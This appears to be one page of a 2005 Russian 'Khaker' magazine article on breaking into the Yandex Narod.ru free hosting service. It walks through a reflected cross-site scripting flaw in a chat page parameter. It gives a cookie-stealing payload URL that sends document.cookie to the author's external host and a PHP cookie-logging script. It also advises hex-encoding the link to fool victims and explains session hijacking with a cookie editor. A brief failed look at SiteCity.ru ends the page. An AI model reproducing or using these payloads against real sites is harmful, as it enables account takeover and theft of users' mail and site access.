Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Ломаем Народ.ру

Даня aka xbit

Хакер, номер #079, стр. 079-070-3


http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle=<h1>XAKEP</h1>&com_id=96366

[понеслась!]

Сервер вернул мне страницу, которую ты можешь наблюдать на соответствующем скрине. Было очевидно, что переменная вообще никак не фильтровалась, и я составил другой запрос:

http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle=<script language=”javascript”>alert(document.cookie);</script>&com_id=96366

Функция alert() исправно выдала мне одержимое всех куков, которые народ.ру установил на моем компе. В ходе авторизации детище Яндекса устанавливает пользователям кукисы, в которых содержится вся нужная инфа для доступа к мылу и сайту жертвы. Подробно расписывать, что делать дальше, я не буду: уже писал в позапрошлом номере, да и вообще о проведении CSS-атак мы писали не раз и не два. Повторюсь лишь, что нужен хостинг с поддержкой PHP, куда необходимо залить сценарий write.php:

<?

if ($QUERY_STRING=="") exit;

$f=fopen ("data.dat","a+");

fwrite($f, "$QUERY_STRING \n");

fclose($f);

echo "Все ок";

?>

Этот сценарий записывает параметры, переданные JavaScript-жуком. Самого жучка внедряем в ссылку и подсовываем ламеру. Вид ссылки должен быть следующий:

http://narod.yandex.ru/chat/chat.xhtml?userid=17289021288240647028&chatid=143&template=6&ChatTitle= <script language=”javascript”>open('http://xbit.switch.pp.ru/write.php?'+document.cookie); </script>close();&com_id=96366

Естественно, вместо http://xbit.switch.pp.ru/ нужно поставить адрес хоста хакера. Как я уже упоминал в прошлой статье, код линка лучше перевести в hex-кодировку, чтобы ламер не запалил теги в ссылке. Результат всей операции — украденные куки юзера. Печенье устанавливается во время авторизации. Для того чтобы успешно залогиниться под видом жертвы, нужно для начала завести свой аккаунт и пройти авторизацию, тогда появятся печенья, которые позже можно отредактировать. Лично я пользуюсь для этих целей Cookie Editor’ом. Данная программа предельно проста в освоении. Все, что требуется, так это указать хост куки, которого нужно подправить. После этого откроется простенькое окно, в которое вместо своих записей нужно вбить украденные. Сохранить изменения и ползти на головной сайт народа — проверять правильность прохождения квеста. Об этом известит приветствие в правом верхнем углу.

[город Сайтов]

После опытов с народ.ру мне захотелось прощупать какой-нибудь другой бесплатный хостинг, на котором располагался бы онлайновый конструктор. Таким сервисом стал SiteCity.RU. Однако я не только не смог взломать этот конструктор — у меня не получилось даже зарегистрироваться. Сервис никак не хотел высылать мне пароль на указанное мыло. Повторив процедуру еще несколько раз, я пришел к выводу о том, что сервису не нужны новые пользователи, и приступил к «поверхностному» изучению проекта. SiteCity.ru интересен тем, что люди, воспользовавшиеся хостингом этого сервиса, могут общаться друг с другом посредством личных сообщений.

Назад на стр. 079-070-2  Содержание  Вперед на стр. 079-070-4